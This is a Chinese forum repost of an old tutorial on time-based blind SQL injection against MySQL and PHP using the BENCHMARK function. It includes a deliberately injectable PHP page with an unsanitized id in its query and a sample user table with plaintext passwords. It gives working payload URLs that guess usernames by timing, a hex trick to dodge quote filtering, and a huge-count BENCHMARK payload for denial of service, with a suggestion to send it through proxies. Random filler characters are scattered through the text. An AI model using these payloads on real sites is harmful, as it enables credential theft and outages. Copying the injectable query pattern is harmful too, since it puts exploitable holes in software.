找回密码
 立即注册
查看: 2910|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
7 s0 y# Z! T+ n. m( m本文作者:SuperHei
" m4 Z! [$ j- G, E( G文章性质:原创
  }) H, L7 f& Y! k' O. Y, H/ q% M发布日期:2005-01-02
6 Z9 _" V& `" V3 {5 n- a完成日期:2004-07-09
1 r1 `$ H7 E: I第一部: t& O" ]" W# }# k

( Y/ G0 V* Z9 |1 i* w利用时间推延进行注射---BENCHMARK函数在注射中的利用 5 k3 }& K( V# |( {# K

7 f: `  N2 I: R9 p& ?$ F一.前言/思路- l9 J7 ^, L7 Y
5 C7 i( ?6 A/ `9 q! h9 o4 T
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。+ U  [/ }7 v0 g/ X) V
% {' u! U# j; a1 K' h7 ]
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。4 j5 S+ i2 H7 w& ]6 e2 s6 _
+ P# b% ^3 V' r9 S  A
二.关于BENCHMARK函数
3 N2 V* e! L, g! T  N2 V$ L8 g' p5 V: F" n: T
  在MySQL参考手册里可以看到如下描叙: ; M2 d; b' K" Q$ ]+ [& p
1 ]. l* b7 r  O! H7 ~" k3 W

# @4 ~- N# _9 C$ o6 j) T--------------------------------------------------------------------------------+ B! w6 P+ o4 l+ u, W0 ?

6 v2 A" y& r' w. B- uBENCHMARK(count,expr) * ~% k: i9 r2 ]' e+ l; |9 {( X8 |
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 # a, ~' ]) }9 C% I3 |* x
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
: Q( v9 Z  n$ ~% N+----------------------------------------------+ * {% \; I: b* F
| BENCHMARK(1000000,encode("hello","goodbye")) | ' B& T1 i- }3 f1 Y# h* O
+----------------------------------------------+ 6 C: ]5 i/ L2 _) \7 c/ ]. D3 o  P
| 0 | 9 y3 \6 ?! H! i* T; p$ ^
+----------------------------------------------+ ! M& C) @% F4 F# E0 V; w
1 row in set (4.74 sec) % M/ Z3 G9 E, n: K/ X5 T8 K8 D2 T
, x& M5 r) f! C: _' J' ]2 S
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。* q0 n1 L. _) I4 J: u9 E, _. Q
* ~' e! k4 H; {4 G
4 x: K/ U& n, N$ O6 c1 M
--------------------------------------------------------------------------------
# Z; h7 O. A& N: F
9 y. i; J; R* ]0 ~  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 7 Y5 ]0 l* j) R6 G, V  |

% ?! ^# j$ U5 R, T; Smysql> select md5( 'test' ); 8 K- O$ v" A: M* g
+----------------------------------+ ( H! I3 I' z- b( y! l
| md5( 'test' ) | 5 j/ Q0 Y+ f5 t, `3 B5 V
+----------------------------------+
9 C7 B( d( g) ?; h& M7 \/ R3 e| 098f6bcd4621d373cade4e832627b4f6 | 6 X7 }. S; v; P
+----------------------------------+ 3 ]) r) v: z0 X- h$ E
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
& h2 Y1 ~5 x9 P7 P, ~, o+ C
  w, ?/ U( ~8 Q# Kmysql> select benchmark( 500000, md5( 'test' ) ); ( v. I" D: v/ ?* h1 H. F; c
+------------------------------------+
3 f9 m  ~+ _  g- y- f5 S, s6 N& d8 ?2 R| benchmark( 500000, md5( 'test' ) ) | - `' l7 E3 o# k
+------------------------------------+ 9 v! ^1 R, D2 S/ b
| 0 |
1 p& R" j' \8 c* M+ n1 o# t: r1 e+------------------------------------+
& X0 r$ S! t1 w+ D2 T8 L1 row in set (6.55 sec) 〈------------执行时间为6.55 sec) m  ]) z) U" \. [2 ]

5 `# n7 }* m' ^# D& S# }
3 y, Y6 P& `' E" M2 {9 D+ e  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
& |6 k! o. l7 Y& j! L$ g0 {: z* L4 T+ P9 c$ a  x( r7 E
三.具体例子
6 F6 E' b7 o7 q$ P9 o, d/ a$ q4 d+ k6 V6 Y  Z; Y  I
  首先我们看个简单的php代码:+ K& i: |, C& V7 x! B# y( h

1 {8 [8 _' n$ D* p< ?php
8 j8 o6 Y+ ~2 U9 q! Y! r9 g$servername = "localhost";
4 ]6 w5 g& t4 ?" u* H$dbusername = "root";
, H1 s' y8 u0 ?/ s; S$dbpassword = "";
! |. s5 ]9 y! H: e" E" U; ?$dbname = "injection"; . c# J* ?' l" b5 W2 h; c+ z) |
; a% S+ \, @8 @% o: U5 t2 E
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 3 X0 _7 b# e( @8 L' z
8 q" v( v! I; q$ E0 w$ m& g
$sql = "SELECT * FROM article WHERE articleid=$id"; ! ^; `! L2 {1 C5 }; u( P# g: ]% A
$result = mysql_db_query($dbname,$sql); 4 E5 ]4 x, N. V- N" g* e2 u& f
$row = mysql_fetch_array($result);
) J! A0 x: I) H9 F1 v
% ?4 C4 e2 e+ T  G/ Gif (!$row)
, F" z! W2 N$ V- F) K{ 0 b, m- a- L$ B+ _+ m
exit;
  ]. O/ K$ g. t0 d} ; F& A. }# B$ {. d
?>
6 q( j7 P- P& b+ R2 \8 m . N0 k' D0 @- G, P  p( U' h
7 t! g2 n( j3 M
  数据库injection结构和内容如下:
  b/ R1 o/ |7 r0 w, t. r& }* N) E
: y! s' e) [; e0 ]# s# 数据库 : `injection` . @, F* l  L& f$ p7 j
# 2 @* n7 S" z  ~! S  M

# A; a( _/ N8 y0 b- O# --------------------------------------------------------
1 ~- [* Q9 e, ~3 X0 {# O5 ?; Y9 M0 d
#
+ u* u  h# f! Q6 M& c# 表的结构 `article`
6 S6 M, \7 h: Q3 A( \  n# $ ?  L$ ~. ^* P" o/ i  O) z. ?# @$ ?
0 w& v8 c/ n: d. I* x
CREATE TABLE `article` (
8 Y' H- X0 x) m( \5 b  ^`articleid` int(11) NOT NULL auto_increment, 2 D! R! k% `- ?* a* E+ L
`title` varchar(100) NOT NULL default '',
" y$ n9 @% N8 h6 G' n`content` text NOT NULL,
+ z. \- ^$ L$ D$ hPRIMARY KEY (`articleid`) $ S. i% L! n6 c* D: f+ ^# F
) TYPE=MyISAM AUTO_INCREMENT=3 ;
) W: k# N4 |0 l2 y* l% g& ^9 L
3 A$ q+ j/ u5 p# ' f" l" |+ V. ~1 V+ p3 r, p+ i: M
# 导出表中的数据 `article` 7 T% e2 N% n7 v, a/ E
# 5 K6 ]" Y3 @5 K& S8 Z; Z
  _. @. u5 i4 ]( M; R
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 9 f0 U! S" y, L$ ?1 M
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); . S) i+ |( }/ s( Y9 k/ }

# y# e  d" ]: o9 q6 L/ t5 w# --------------------------------------------------------
$ T- Q0 X' _/ a
9 ^  ]' Y4 i/ r# ! O2 ]# [) f3 G* h0 f/ u! p
# 表的结构 `user` 7 A  Z0 W% d  n0 e+ n
# . _' b% |! X. d1 T* X
) I: z3 e: R' K5 M
CREATE TABLE `user` ( 7 a' R+ n' f  [. y8 ~
`userid` int(11) NOT NULL auto_increment, / r' [6 U' }3 m8 H: c! E
`username` varchar(20) NOT NULL default '',
' A6 y4 _8 t- N`password` varchar(20) NOT NULL default '', " y$ z& }, @" v! v% y  C4 G$ q
PRIMARY KEY (`userid`) * o2 Y& ]3 q& V; t2 I
) TYPE=MyISAM AUTO_INCREMENT=3 ; : R! S8 g9 n/ T  W

6 f+ B+ m! d4 q% h& Q& w6 @+ V( l' h8 m# # U7 F$ o. ~. c
# 导出表中的数据 `user`
% M& H8 V8 S# a! U1 `# ; z8 ~; Z# z9 i; R9 u5 J
3 e& W0 i0 H) h0 x0 o5 I
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 @) ~* E$ ~9 Z- Z( j4 fINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
8 M3 m5 t& ^6 L' {6 M  i  ^
  w& K* V! e, f1 D3 T' s* `
( \* O7 m- V! B8 v( }  ~2 I4 k  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
4 g$ t# T. a; w+ a% B
3 p2 G7 j2 t6 Mid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*0 V& l% u9 T( X5 k* M  F
/ B+ `9 ]9 c5 K- o# _+ [  E

" b, X* z8 f) P. f3 U, \5 ?  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:/ Q# {) p4 j) ]# [* I1 @

% {& |4 u, Z  q/ `- B4 [http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
( x" D, U) G! |/ Q: a, s1 S & A3 e4 ]5 ~: b+ a" Q8 d

1 K  }8 p3 Q6 N6 ]9 C  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
1 ?: A  ?: p/ o; w
3 F+ q. v/ ^1 N) J  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
: }0 A6 ]# _( _& Y9 g7 F! ~* m( K' @9 h
第二部0 a# G9 D* m! c$ W# ]# \
, T7 N3 T! ?! `4 \2 w" j
利用BENCHMARK函数进行ddos攻击
3 O& h1 c8 w+ a, q8 e  G7 k* f* J1 B- Y- o5 A% L
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
& r" ^. R0 ~9 `4 H
! L' d* W% L8 L6 g+ P, |http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
7 v2 m, o  k8 W! B
5 x: Y% _2 i% V+ a5 P. x) ^7 ?0 q; ?) u# e5 H' l$ [
小结/ l8 K2 `+ V6 w* V9 \

8 D  u' P9 T6 D  d' W& L5 x  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。7 T8 q0 {" ?8 l, [2 _4 f
- K! z) r$ l" N, J# q7 e4 E
  : l! D. x, a6 V4 r2 n; y# ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表